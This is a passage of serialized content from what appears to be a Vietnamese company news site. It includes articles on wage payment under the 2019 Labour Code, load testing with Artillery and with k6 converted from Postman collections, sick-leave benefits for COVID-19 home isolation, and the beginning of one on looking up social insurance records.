NLĐ.",[11,5389,5390],{},"Theo Khoản 4, Điều 97, BLLĐ 2019, trường hợp vì lý do bất khả kháng mà NSDLĐ đã tìm mọi biện pháp khắc phục nhưng không thể trả lương đúng hạn thì không được chậm quá 30 ngày; nếu trả lương chậm từ 15 ngày trở lên thì NSDLĐ phải đền bù cho NLĐ một khoản tiền ít nhất bằng số tiền lãi của số tiền trả chậm tính theo lãi suất huy động tiền gửi có kỳ hạn 01 tháng do ngân hàng nơi NSDLĐ mở tài khoản trả lương cho NLĐ công bố tại thời điểm trả lương.",[11,5392,5393,56,5395],{},[20,5394,55],{},[58,5396,5399],{"href":5397,"rel":5398},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Flao-dong-tien-luong\u002FBo-Luat-lao-dong-2019-333670.aspx",[62],"Bộ Luật Lao Động 2019",{"title":66,"searchDepth":67,"depth":67,"links":5401},[],"2021-02-19","Bộ luật Lao động (BLLĐ) 2019 có hiệu lực thi hành từ 01\u002F01\u002F2021 quy định nhiều điểm mới về tiền lương, thưởng mà người lao động (NLĐ) cần phải biết để bảo đảm quyền và lợi ích chính đáng của bản thân, cụ thể",{},"\u002Fvi\u002Fnews\u002Fchanges-laborrule-2021",{"title":5339,"description":5403},"vi\u002Fnews\u002Fchanges-laborrule-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F12\u002F24165216\u002FNh%E1%BB%AFng-%C4%91i%E1%BB%83m-m%E1%BB%9Bi-c%E1%BB%A7a-LLD-s%E1%BB%ADa-%C4%91%E1%BB%95i-c%C3%B3-hi%E1%BB%87u-l%E1%BB%B1c-t%E1%BB%AB-n%C4%83m-2021-2048x1358.jpg","xJv4KCvbTIYYDmWP2XDSc7XhFmhEcUJ8R4tSHS9wwYE",{"id":5411,"title":5412,"body":5413,"category":356,"created by":70,"date":5686,"description":5687,"extension":72,"meta":5688,"navigation":74,"path":5689,"sections":76,"seo":5690,"stem":5691,"thumbnail":5692,"__hash__":5693},"content_vi\u002Fvi\u002Fnews\u002Fchay-load-test-performance-test-voi-artillery.md","Chạy load test\u002Fperformance test với Artillery",{"type":8,"value":5414,"toc":5665},[5415,5419,5423,5426,5433,5437,5440,5444,5447,5450,5454,5457,5461,5464,5467,5473,5479,5482,5488,5492,5499,5505,5508,5512,5515,5521,5524,5528,5534,5537,5541,5545,5548,5552,5555,5561,5564,5570,5574,5577,5583,5586,5589,5593,5596,5602,5605,5616,5619,5622,5636,5642,5646,5649,5652,5655],[498,5416,5418],{"id":5417},"giới-thiệu","Giới thiệu",[657,5420,5422],{"id":5421},"performance-testing-là-gì-và-tại-sao-bạn-nên-thực-hiện-load-test","Performance testing là gì? Và tại sao bạn nên thực hiện load test?",[11,5424,5425],{},"Performance testing là kiểm thử phần mềm đánh giá mức độ hoạt động của ứng dụng dưới các khối lượng công việc khác nhau.",[11,5427,5428,5429,5432],{},"Điều này liên quan đến việc đo lường các số liệu khác nhau như thời gian response, băng thông và khả năng mở rộng nhằm đảm bảo rằng ứng dụng có thể xử lý đúng số lượng request từ người dùng dự kiến mà không làm giảm hiệu suất hoặc gặp sự cố. ",[20,5430,5431],{},"Performance testing"," cũng có thể xác định các vấn đề về hiệu năng và tắc nghẽn, nó giúp bạn thực hiện các thay đổi cần thiết để tối ưu hóa hiệu năng. Mục tiêu của việc này là đảm bảo rằng ứng dụng mang lại trải nghiệm người dùng mượt mà, nhanh chóng và đáng tin cậy ngay cả trong điều kiện tải nặng.",[657,5434,5436],{"id":5435},"giới-thiệu-về-artilleryio","Giới thiệu về Artillery.io",[11,5438,5439],{},"Artillery.io là một công cụ performance test mã nguồn mở cho phép bạn kiểm tra hiệu năng và khả năng mở rộng của các ứng dụng web, API và microservices. Bạn có thể mô phỏng hành vi người dùng thực tế, tạo tải từ nhiều nguồn và kiểm tra luồng ứng dụng của mình theo kịch bản.",[657,5441,5443],{"id":5442},"giao-thức-được-hỗ-trợ","Giao thức được hỗ trợ",[11,5445,5446],{},"Artillery.io được viết bằng Node.js và hỗ trợ các giao thức HTTP, Websocket và socket.io.",[11,5448,5449],{},"Ngoài ra, bạn có thể sử dụng plugin của Artillery để kiểm tra các stack khác như HLS (HTTP Live Streaming), Amazon Kinesis, Apache Kafka, v.v.",[657,5451,5453],{"id":5452},"định-dạng-của-script","Định dạng của Script",[11,5455,5456],{},"Không giống như các công cụ kiểm tra phổ biến khác, Artillery.io cung cấp cú pháp dựa trên YAML linh hoạt để định nghĩa các kịch bản load test của bạn. Nó cũng hỗ trợ định dạng JSON.",[498,5458,5460],{"id":5459},"cài-đặt-tính-năng-cơ-bản","Cài đặt & Tính năng cơ bản",[657,5462,1914],{"id":5463},"cài-đặt",[11,5465,5466],{},"Bạn có thể cài đặt global dependency Artillery.io thông qua npm hoặc yarn bằng cách thực hiện theo lệnh sau:",[696,5468,5471],{"className":5469,"code":5470,"language":701},[699],"#npm\nnpm install -g artillery\n\n",[703,5472,5470],{"__ignoreMap":66},[696,5474,5477],{"className":5475,"code":5476,"language":701},[699],"#yarn\nyarn global add artillery\n\n",[703,5478,5476],{"__ignoreMap":66},[11,5480,5481],{},"hoặc bạn cũng có thể cài đặt dưới dev dependency cho dự án Node.js với:",[696,5483,5486],{"className":5484,"code":5485,"language":701},[699],"npm install -D artillery\n",[703,5487,5485],{"__ignoreMap":66},[657,5489,5491],{"id":5490},"test-nhanh","Test nhanh",[11,5493,5494,5495,1170],{},"Sử dụng subcommand quick để bạn có thể chạy test mà không cần phải viết test script. Ví dụ, để chạy 10 virtual users (VUs), mỗi user thực hiện 20 request đến địa chỉ address ",[58,5496,5497],{"href":5497,"rel":5498},"http:\u002F\u002Flocalhost:3000\u002F",[62],[696,5500,5503],{"className":5501,"code":5502,"language":701},[699],"artillery quick -c 10 -n 20 http:\u002F\u002Flocalhost:3000\u002Fapi\u002Fuser\n",[703,5504,5502],{"__ignoreMap":66},[11,5506,5507],{},"Parameter -c chỉ định tổng số VU, và -n chỉ định số lượng yêu cầu trên mỗi VU.",[657,5509,5511],{"id":5510},"chạy-test-script","Chạy test script",[11,5513,5514],{},"Subcommand  run dùng để chạy test script từ máy cục bộ. Cách chạy cơ bản để chạy test là:",[696,5516,5519],{"className":5517,"code":5518,"language":701},[699],"artillery run script.yaml -o report.json\n",[703,5520,5518],{"__ignoreMap":66},[11,5522,5523],{},"Parameter -o là tùy chọn để ghi báo cáo JSON vào một file.",[657,5525,5527],{"id":5526},"xuất-report","Xuất report",[696,5529,5532],{"className":5530,"code":5531,"language":701},[699],"artillery report report.json -o report.html\n",[703,5533,5531],{"__ignoreMap":66},[11,5535,5536],{},"Subcommand report cho phép chuyển đổi report JSON do subcommand run tạo ra thành một report HTML mới.",[533,5538],{"className":5539,"alt":66,"src":5540,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F05\u002F09143906\u002Ftest-create-user.png",[498,5542,5544],{"id":5543},"viết-một-load-test-đơn-giản","Viết một load test đơn giản",[11,5546,5547],{},"Phần hướng dẫn bên dưới chúng ta sẽ sử dụng cú pháp YAML, đầu tiên chúng ta cần tạo một tên tệp như “script.yml”, sau đó chúng ta bắt đầu định nghĩa phần “config” ở đầu tệp.",[657,5549,5551],{"id":5550},"phần-config","Phần Config",[11,5553,5554],{},"Chúng ta cần đặt base URL cho test script của mình với tùy chọn target:",[696,5556,5559],{"className":5557,"code":5558,"language":701},[699],"config:\n  target: \"http:\u002F\u002Flocalhost:3000\u002Fapi\"\n",[703,5560,5558],{"__ignoreMap":66},[11,5562,5563],{},"Tiếp theo, Chúng ta sẽ bắt đầu định nghĩa load phase, load phase giúp xác định cách Artillery tạo ra VU mới trong một khoảng thời gian xác định:",[696,5565,5568],{"className":5566,"code":5567,"language":701},[699],"config:\n  ...\n  phases:\n    - duration: 60\n      arrivalRate: 100\n",[703,5569,5567],{"__ignoreMap":66},[657,5571,5573],{"id":5572},"phần-scenarios","Phần Scenarios",[11,5575,5576],{},"Chúng ta có thể định nghĩa một hoặc nhiều kịch bản. Mỗi định nghĩa kịch bản là một object yêu cầu có flow attribute.",[696,5578,5581],{"className":5579,"code":5580,"language":701},[699],"scenarios:\n  - name: \"Get All Users\"\n    flow:\n      - get:\n          url: \"\u002Fuser\"\n          qs:\n            limit: 10\n            offset: 20\n",[703,5582,5580],{"__ignoreMap":66},[11,5584,5585],{},"Trong property 'flow', chúng ta tiếp tục định nghĩa Method của HTTP dưới dạng object attribute, sau đó chúng ta cần xác định đường dẫn của API, chúng ta cũng có thể đặt query string hoặc form body như URL-encoded forms, Multipart forms hay JSON.",[11,5587,5588],{},"Lưu lại script và sau đó chạy test script của bạn.",[498,5590,5592],{"id":5591},"luồng-người-dùng-thực-tế","Luồng người dùng thực tế",[11,5594,5595],{},"Ví dụ: luồng người dùng có thể như sau:",[696,5597,5600],{"className":5598,"code":5599,"language":701},[699],"config:\n  target: \"http:\u002F\u002Flocalhost:3000\u002Fapi\"\n  phases:\n    - duration: 120\n      arrivalRate: 10\n      name: \"Preparing\"\n    - duration: 240\n      arrivalRate: 30\n      rampTo: 100\n      name: \"Increasing\"\n    - duration: 600\n      arrivalRate: 100\n      name: \"Sustained Load\"\n  payload:\n    path: \"login.csv\"\n    cast: false\n    fields:\n      - \"user\"\n      - \"pass\"\n  processor: \".\u002Fprocessor.js\"\n\nbefore:\n  flow:\n    - log: \"Get auth token\"\n    - post:\n        url: \"\u002Fauth\u002Flogin\"\n        json:\n          username: \"{{user}}\"\n          password: \"{{pass}}\"\n        capture:\n          - json: $.tokens.accessToken\n            as: token\nscenarios:\n  - name: \"Search Users\"\n    flow:\n      - get:\n          url: \"\u002Fuser\"\n          headers:\n            authorization: \"Bearer {{ token }}\"\n  - name: \"Create New User\"\n    flow:\n      - post:\n          url: \"\u002Fuser\"\n          beforeRequest: \"setJsonBody\"\n          headers:\n            authorization: \"Bearer {{ token }}\"\n",[703,5601,5599],{"__ignoreMap":66},[11,5603,5604],{},"Trong script ở trên, chúng ta có ba phase trong phần config:",[31,5606,5607,5610,5613],{},[34,5608,5609],{},"Giai đoạn đầu tạo 10 VU mỗi giây và gửi chúng đến ứng dụng trong 2 phút.",[34,5611,5612],{},"Trong giai đoạn thứ hai, load test sẽ bắt đầu với 30 người dùng mỗi giây và tăng dần lên 100 người dùng mỗi giây trong 4 phút.",[34,5614,5615],{},"Giai đoạn cuối cùng mô phỏng sẽ tải liên tục 100 người dùng mỗi giây trong 10 phút.",[11,5617,5618],{},"Bằng cách sử dụng nhiều phase cho phép bạn mô phỏng chính xác các tình huống lưu lượng truy cập thực tế và đánh giá khả năng xử lý hàng loạt yêu cầu đột ngột của ứng dụng.",[11,5620,5621],{},"Trong flow đầu tiên của kịch bản, mỗi VU yêu cầu đến GET | \"Search user\", sau đó trong luồng thứ hai, họ sẽ yêu cầu đến POST | \"Create user\".",[11,5623,5624,5625,5628,5629,5632,5633,5635],{},"Để dễ dạng tạo dữ liệu. Theo cách này, trước khi thực hiện yêu cầu. Chúng ta sử dụng hàm ",[20,5626,5627],{},"setJsonBody"," trên custom hook tên ",[20,5630,5631],{},"beforeRequest",". Hàm ",[20,5634,5627],{}," được định nghĩa trong file processor.js và được tham chiếu ở phần config.processor.",[696,5637,5640],{"className":5638,"code":5639,"language":701},[699],"# processor.js\nconst { faker } = require(\"@faker-js\u002Ffaker\");\n\nfunction setJsonBody(requestParams, context, ee, next) {\n  var body = {\n    username: faker.internet.userName(),\n    password: faker.internet.password(3),\n    email: faker.internet.exampleEmail(),\n    name: faker.name.fullName(),\n    role: faker.datatype.number({ min: 0, max: 1 }),\n  };\n\n  requestParams.json = body;\n  return next();\n}\n\nmodule.exports = {\n  setJsonBody,\n};\n",[703,5641,5639],{"__ignoreMap":66},[498,5643,5645],{"id":5644},"so-sánh-với-k6-load-testing","So sánh với K6 load testing",[11,5647,5648],{},"Artillery và k6 đều là các công cụ performance testing mã nguồn mở và có các tính năng tương tự như khả năng mở rộng, tích hợp với các công cụ CI\u002FCD và khả năng thiết lập các mẫu kiểm thử. Tuy nhiên, có một số khác biệt giữa chúng. Artillery được viết bằng Node.js trong khi k6 được viết bằng Go. Vì vậy, Artillery chậm hơn k6, vì nó không đa luồng và sử dụng nhiều bộ nhớ hơn. Dưới đây là các biểu đồ so sánh mức sử dụng bộ nhớ giữa k6 với Artillery và các công cụ khác.",[11,5650,5651],{},"Tóm lại, Artillery và k6 đều là những công cụ mạnh mẽ. Tuy nhiên k6 có nhiều ưu điểm hơn Artillery. Nếu bạn muốn viết một load test đơn giản, thì Artillery là một giải pháp tốt khi sử dụng cú pháp YAML.",[498,5653,5654],{"id":1802},"Tham khảo",[11,5656,5657,56,5661],{},[58,5658,5659],{"href":5659,"rel":5660},"https:\u002F\u002Fwww.artillery.io\u002F",[62],[58,5662,5663],{"href":5663,"rel":5664},"https:\u002F\u002Fk6.io\u002Fblog\u002Fcomparing-best-open-source-load-testing-tools\u002F",[62],{"title":66,"searchDepth":67,"depth":67,"links":5666},[5667,5673,5679,5683,5684,5685],{"id":5417,"depth":67,"text":5418,"children":5668},[5669,5670,5671,5672],{"id":5421,"depth":1417,"text":5422},{"id":5435,"depth":1417,"text":5436},{"id":5442,"depth":1417,"text":5443},{"id":5452,"depth":1417,"text":5453},{"id":5459,"depth":67,"text":5460,"children":5674},[5675,5676,5677,5678],{"id":5463,"depth":1417,"text":1914},{"id":5490,"depth":1417,"text":5491},{"id":5510,"depth":1417,"text":5511},{"id":5526,"depth":1417,"text":5527},{"id":5543,"depth":67,"text":5544,"children":5680},[5681,5682],{"id":5550,"depth":1417,"text":5551},{"id":5572,"depth":1417,"text":5573},{"id":5591,"depth":67,"text":5592},{"id":5644,"depth":67,"text":5645},{"id":1802,"depth":67,"text":5654},"2023-08-07","Performance testing là kiểm thử phần mềm đánh giá mức độ hoạt động của ứng dụng dưới các khối lượng công việc khác nhau. Điều này liên quan đến việc đo lường các số liệu khác nhau như thời gian response, băng thông và khả năng mở rộng nhằm đảm bảo rằng ứng dụng có thể xử lý đúng số lượng request từ người dùng dự kiến mà không làm giảm hiệu suất hoặc gặp sự cố. Performance testing cũng có thể xác định các vấn đề về hiệu năng và tắc nghẽn, nó giúp bạn thực hiện các thay đổi cần thiết để tối ưu hóa hiệu năng. Mục tiêu của việc này là đảm bảo rằng ứng dụng mang lại trải nghiệm người dùng mượt mà, nhanh chóng và đáng tin cậy ngay cả trong điều kiện tải nặng.",{},"\u002Fvi\u002Fnews\u002Fchay-load-test-performance-test-voi-artillery",{"title":5412,"description":5687},"vi\u002Fnews\u002Fchay-load-test-performance-test-voi-artillery","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F05\u002F09143246\u002Fartillery.png","cV4kv2opSFmHBv4Fk6keeFtr-kRN668am7alR6sP-AM",{"id":5695,"title":5696,"body":5697,"category":1430,"created by":5903,"date":5904,"description":5905,"extension":72,"meta":5906,"navigation":74,"path":5907,"sections":76,"seo":5908,"stem":5909,"thumbnail":5910,"__hash__":5911},"content_vi\u002Fvi\u002Fnews\u002Fchay-load-test-voi-k6-va-postman.md","Chạy load test với K6 và Postman",{"type":8,"value":5698,"toc":5891},[5699,5703,5706,5709,5713,5727,5730,5733,5739,5742,5748,5751,5754,5758,5761,5764,5767,5773,5776,5782,5785,5789,5792,5795,5801,5805,5808,5811,5814,5820,5823,5829,5832,5838,5841,5847,5853,5860,5866,5870,5873,5877,5879,5885],[498,5700,5702],{"id":5701},"k6-là-gì","K6 là gì?",[11,5704,5705],{},"Grafana k6 là một công cụ mã nguồn mở chạy load test giúp kiểm tra hiệu suất dễ dàng và hiệu quả cho các nhóm kỹ thuật. Sử dụng k6, bạn có thể kiểm tra độ tin cậy và hiệu suất của hệ thống của mình, đồng thời nắm bắt các sự cố hay sự giảm hiệu suất trong thời gian sớm.",[11,5707,5708],{},"Chúng ta có thể viết các bài test trực tiếp bằng K6 và chạy chúng. Tuy nhiên trong bài viết này, tôi sẽ giải thích cách chạy test k6 từ Postman collection có sẵn. Quá trình này rất đơn giản. Chỉ cần export Postman collection hiện có, convert chúng thành k6 test và chạy.",[498,5710,5712],{"id":5711},"các-bước-phải-làm","Các bước phải làm:",[31,5714,5715,5718,5721,5724],{},[34,5716,5717],{},"Cài đặt k6",[34,5719,5720],{},"Tạo request trên Postman và export chúng",[34,5722,5723],{},"Convert các request Postman sang k6 test",[34,5725,5726],{},"Chạy k6 test",[657,5728,5717],{"id":5729},"cài-đặt-k6",[11,5731,5732],{},"Làm theo hướng dẫn ở link sau để cài đặt k6:",[11,5734,5735],{},[58,5736,5737],{"href":5737,"rel":5738},"https:\u002F\u002Fk6.io\u002Fdocs\u002Fget-started\u002Finstallation\u002F",[62],[11,5740,5741],{},"Chạy câu lệnh sau để cài đặt postman-to-k6:",[696,5743,5746],{"className":5744,"code":5745,"language":701},[699],"npm install -g postman-to-k6\n",[703,5747,5745],{"__ignoreMap":66},[657,5749,5720],{"id":5750},"tạo-request-trên-postman-và-export-chúng",[11,5752,5753],{},"Tạo các request trên Postman mà bạn muốn chạy load test, đặt tất cả các request vào chung 1 collection. Sau đó export collection và lưu vào thư mục chứa code.",[533,5755],{"className":5756,"alt":66,"src":5757,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F07083835\u002Fpostman-export-1-1536x816.png",[11,5759,5760],{},"Nếu bạn sử dụng các biến môi trường trong Postman, hãy export chúng tương tự. Sau khi export xong thì chúng ta sẽ có hai file (file postman-requests.json chứa các request và file postman-env.json chứa các biến môi trường) trong thư mục dự án.",[657,5762,5723],{"id":5763},"convert-các-request-postman-sang-k6-test",[11,5765,5766],{},"Chạy câu lệnh sau để convert các request Postman sang k6 tests:",[696,5768,5771],{"className":5769,"code":5770,"language":701},[699],"postman-to-k6 postman-requests.json -e postman-env.json --separate -o k6-script.js\n",[703,5772,5770],{"__ignoreMap":66},[11,5774,5775],{},"Nếu bạn không có file chứa các biến môi trường thì chỉ cần chạy câu lệnh sau:",[696,5777,5780],{"className":5778,"code":5779,"language":701},[699],"postman-to-k6 postman-requests.json --separate -o k6-script.js\n",[703,5781,5779],{"__ignoreMap":66},[11,5783,5784],{},"Sau khi chạy lệnh chuyển đổi sang k6, file kết quả k6-script.js sẽ được tạo như bên dưới:",[533,5786],{"className":5787,"alt":66,"src":5788,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F07100004\u002Fk6-script.png",[657,5790,5726],{"id":5791},"chạy-k6-test",[11,5793,5794],{},"Sử dụng câu lệnh sau để chạy test:",[696,5796,5799],{"className":5797,"code":5798,"language":701},[699],"k6 run k6-script.js\n",[703,5800,5798],{"__ignoreMap":66},[533,5802],{"className":5803,"alt":66,"src":5804,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F07084839\u002Fk6-result-1024x624.png",[11,5806,5807],{},"Sau khi chạy câu lệnh trên, kết quả test sẽ hiện trên console. Chúng ta có thể xem các số liệu thống kê như tổng lượng request, lượng request trên giây, sốlượng request không thành công, v.v.",[11,5809,5810],{},"Chúng ta có thể điều chỉnh biến options trong file để tăng\u002Fgiảm số lượng người dùng đồng thời, thời gian test và nhiều điều kiện khác.",[11,5812,5813],{},"Ví dụ: để chạy thử nghiệm với 100 người dùng đồng thời trong 30 giây.",[696,5815,5818],{"className":5816,"code":5817,"language":701},[699],"export let options = {\n  scenarios: {\n    contacts: { \n       executor: \"constant-vus\", \n       vus: 100, \n       duration: \"30s\" \n    }\n  }\n};\n",[703,5819,5817],{"__ignoreMap":66},[11,5821,5822],{},"Ví dụ: để chạy thử nghiệm với 500 người dùng đồng thời trong 60 giây.",[696,5824,5827],{"className":5825,"code":5826,"language":701},[699],"export let options = {\n  scenarios: {\n    contacts: { \n       executor: \"constant-vus\", \n       vus: 500, \n       duration: \"60s\" \n    }\n  }\n};\n",[703,5828,5826],{"__ignoreMap":66},[11,5830,5831],{},"Ví dụ: để chạy thử nghiệm với 10 người dùng đồng thời, mỗi người chạy tất cả request 20 lần trong thời gian tối đa là 30 giây.",[696,5833,5836],{"className":5834,"code":5835,"language":701},[699],"export let options = {\n  scenarios: {\n    contacts: { \n       executor: \"per-vu-iterations\", \n       vus: 10, \n       iterations: 20, \n       maxDuration: \"30s\" \n    }\n  }\n};\n",[703,5837,5835],{"__ignoreMap":66},[11,5839,5840],{},"Ngoài ra, có nhiều tham số và scenario chúng ta có thể sử dụng để điều chỉnh theo nhu cầu của mình. Vui lòng tham khảo các link dưới đây:",[11,5842,5843],{},[58,5844,5845],{"href":5845,"rel":5846},"https:\u002F\u002Fk6.io\u002Fdocs\u002Fjavascript-api\u002Fk6-http\u002Fparams\u002F",[62],[11,5848,5849],{},[58,5850,5851],{"href":5851,"rel":5852},"https:\u002F\u002Fk6.io\u002Fdocs\u002Fusing-k6\u002Fscenarios\u002F",[62],[11,5854,5855,5856,5859],{},"Tất cả các request nằm bên trong phần ",[20,5857,5858],{},"default function()"," sẽ được thực thi khi chạy test. Nếu bạn chỉ muốn test 1 request cụ thể nào đó, bạn có thể comment out lại đoạn code chứa các request khác. Xem đoạn code dưới đây:",[498,5861,5862],{"id":66},[533,5863],{"className":5864,"alt":66,"src":5865,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F11165213\u002Fcode_snippet.jpg",[498,5867,5869],{"id":5868},"so-sánh-với-postman-collection-runner","So sánh với Postman collection runner",[11,5871,5872],{},"Chúng ta cũng có thể sử dụng tính năng Postman collection runner để chạy load test. Với chức năng này, chúng ta không cần cài đặt thêm thư viện hoặc convert code. Chúng ta có thể tạo request và chạy test trực tiếp trong Postman. Chúng ta cũng có thể thay đổi các tham số, chẳng hạn như Iteration\u002FDelay, để điều chỉnh bài test theo ý mình. Sự khác biệt duy nhất là chúng ta không thể chạy các bài test đồng thời với nhau, các bài test chỉ có thể chạy liên tiếp. Kết quả test cũng không được thống kê một cách chi tiết như khi chạy bằng k6. Nói cách khác, nếu bạn không có nhu cầu như chạy test đồng thời hay xem số liệu thống kê chi tiết sau khi test, thì Postman là một lựa chọn hoàn hảo.",[533,5874],{"className":5875,"alt":66,"src":5876,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F07090719\u002Fpostman-runner-1024x549.png",[498,5878,5654],{"id":1802},[11,5880,5881],{},[58,5882,5883],{"href":5883,"rel":5884},"https:\u002F\u002Fk6.io\u002Fdocs\u002F",[62],[11,5886,5887],{},[58,5888,5889],{"href":5889,"rel":5890},"https:\u002F\u002Fk6.io\u002Fblog\u002Fload-testing-with-postman-collections\u002F",[62],{"title":66,"searchDepth":67,"depth":67,"links":5892},[5893,5894,5900,5901,5902],{"id":5701,"depth":67,"text":5702},{"id":5711,"depth":67,"text":5712,"children":5895},[5896,5897,5898,5899],{"id":5729,"depth":1417,"text":5717},{"id":5750,"depth":1417,"text":5720},{"id":5763,"depth":1417,"text":5723},{"id":5791,"depth":1417,"text":5726},{"id":66,"depth":67,"text":66},{"id":5868,"depth":67,"text":5869},{"id":1802,"depth":67,"text":5654},"KHUYEN DO TIEP","2022-12-15","K6 là gì? Grafana k6 là một công cụ mã nguồn mở chạy load test giúp kiểm tra hiệu suất dễ dàng và hiệu quả cho các nhóm kỹ thuật. Sử dụng k6, bạn có thể kiểm tra độ tin cậy và hiệu suất của hệ thống của mình, đồng thời nắm bắt các sự cố hay sự giảm hiệu suất trong thời gian sớm.",{},"\u002Fvi\u002Fnews\u002Fchay-load-test-voi-k6-va-postman",{"title":5696,"description":5905},"vi\u002Fnews\u002Fchay-load-test-voi-k6-va-postman","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F06154519\u002Fk6.png","aS6px2RVa5I_2Qfjt6UfU9cp8g2Pi503DzAd9ntEILg",{"id":5913,"title":5914,"body":5915,"category":69,"created by":70,"date":5968,"description":5969,"extension":72,"meta":5970,"navigation":74,"path":5971,"sections":76,"seo":5972,"stem":5973,"thumbnail":5974,"__hash__":5975},"content_vi\u002Fvi\u002Fnews\u002Fche-do-om-dau-danh-cho-nld-mac-covid-19-cach-ly-tai-nha.md","CHẾ ĐỘ ỐM ĐAU DÀNH CHO NLĐ MẮC COVID-19 CÁCH LY TẠI NHÀ",{"type":8,"value":5916,"toc":5966},[5917,5920,5923,5926,5929,5932,5943,5946,5949,5952,5955],[11,5918,5919],{},"Với tình hình dịch bệnh vẫn đang diễn biến phức tạp và số ca nhiễm mới vẫn đang tăng cao mỗi ngày, khiến cho các cơ sở chăm sóc y tế và bệnh viện dã chiến gặp tình trạng quá tải và chịu nhiều áp lực.",[11,5921,5922],{},"Từ ngày 14\u002F07\u002F2021, Bộ Y tế đã chính thức triển khai cho phép F0 không có triệu chứng và F0 có triệu chứng nhẹ được cách ly tại nhà.",[11,5924,5925],{},"Việc cách ly tại nhà nhằm tạo điều kiện thuận lợi và điều kiện sinh hoạt tốt hơn trong suốt thời gian cách ly, cũng như giảm được tình trạng quá tải ở các cơ sở chăm sóc y tế và bệnh viện dã chiến. Tuy nhiên người lao động (NLĐ) cách ly tại nhà sẽ không nhận được giấy ra viện hay giấy chứng nhận nghỉ việc hưởng BHXH do các cơ sở chăm sóc y tế, bệnh viện dã chiến cấp.",[11,5927,5928],{},"Vậy khi cách ly tại nhà, NLĐ cần làm gì?",[11,5930,5931],{},"Tiêu chí giấy xác nhận để cơ quan bảo hiểm xã hội đánh giá chi trả trợ cấp ốm đau gồm có:",[31,5933,5934,5937,5940],{},[34,5935,5936],{},"Thông tin người bệnh (họ và tên, ngày tháng năm sinh);",[34,5938,5939],{},"Xác nhận cách ly điều trị do nhiễm covid-19;",[34,5941,5942],{},"Thời gian điều trị\u002F cách ly tại nhà (từ ngày nào đến ngày nào).",[11,5944,5945],{},"Vậy nên, khi phát hiện mình đã dương tính với Covid-19, NLĐ cần báo ngay cho y tế phường để được ghi nhận là F0 và được hướng dẫn cụ thể.",[11,5947,5948],{},"Nếu thuộc diện cách ly tại nhà, thì sau 14 ngày cách ly tại nhà, NLĐ cần tới y tế phường để làm test nhanh covid-19 lại 1 lần nữa.",[11,5950,5951],{},"Khi có kết quả âm tính thì NLĐ sẽ được cấp giấy xác nhận hoàn thành cách ly bởi y tế phường.",[11,5953,5954],{},"NLĐ cần chuẩn bị những giấy tờ sau gửi cho công ty để nhận được trợ cấp ốm đau:",[31,5956,5957,5960,5963],{},[34,5958,5959],{},"Giấy xác nhận hoàn thành thời gian giám sát\u002F cách ly kiểm dịch y tế (có chữ ký của bác sĩ và dấu mộc đỏ của y tế phường).",[34,5961,5962],{},"Giấy xác nhận kết quả test âm tính (có chữ ký của bác sĩ và dấu mộc đỏ của y tế phường).",[34,5964,5965],{},"Hoặc phiếu kết quả xét nghiệp PCR (nếu có).",{"title":66,"searchDepth":67,"depth":67,"links":5967},[],"2021-12-08","Với tình hình dịch bệnh vẫn đang diễn biến phức tạp và số ca nhiễm mới vẫn đang tăng cao mỗi ngày, khiến cho các cơ sở chăm sóc y tế và bệnh viện dã chiến gặp tình trạng quá tải và chịu nhiều áp lực. Từ ngày 14\u002F07\u002F2021, Bộ Y tế đã chính thức triển khai cho phép F0 không có triệu chứng và F0 có triệu chứng nhẹ được cách ly tại nhà.",{},"\u002Fvi\u002Fnews\u002Fche-do-om-dau-danh-cho-nld-mac-covid-19-cach-ly-tai-nha",{"title":5914,"description":5969},"vi\u002Fnews\u002Fche-do-om-dau-danh-cho-nld-mac-covid-19-cach-ly-tai-nha","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F09\u002F21165927\u002Fimage_F0_isolation_at_home.png","VYHv4TNrMaHBumGI5bSI5c8o7AISIxanV6A7E0rqXcQ",{"id":5977,"title":5978,"body":5979,"category":69,"created by":70,"date":6046,"description":6047,"extension":72,"meta":6048,"navigation":74,"path":6049,"sections":76,"seo":6050,"stem":6051,"thumbnail":6052,"__hash__":6053},"content_vi\u002Fvi\u002Fnews\u002Fchinh-sach-moi-them-cach-de-tra-cuu-qua-trinh-tham-gia-bhxh-bhyt-bhtn-co-hieu-luc-tu-06-2021.md","CHÍNH SÁCH MỚI: THÊM CÁCH ĐỂ TRA CỨU QUÁ TRÌNH THAM GIA BHXH, BHYT, BHTN CÓ HIỆU LỰC TỪ 06\u002F2021",{"type":8,"value":5980,"toc":6044},[5981,5984,5987,5998,6001,6009,6012,6023,6026,6030,6037],[11,5982,5983],{},"Chính phủ đã ban hành Nghị định 43\u002F2021\u002FNĐ-CP quy định Cơ sở dữ liệu quốc gia (CSDLQG) về Bảo hiểm. Nghị định này có hiệu lực từ ngày 01\u002F06\u002F2021.",[11,5985,5986],{},"Cơ sở dữ liệu này có nhiều thông tin liên quan đến Bảo hiểm xã hội (BHXH), Bảo hiểm y tế (BHYT) và Bảo hiểm thất nghiệp (BHTN) của người tham gia cụ thể như sau: ",[31,5988,5989,5992,5995],{},[34,5990,5991],{},"Về BHYT: mã mức hưởng; loại đối tượng; 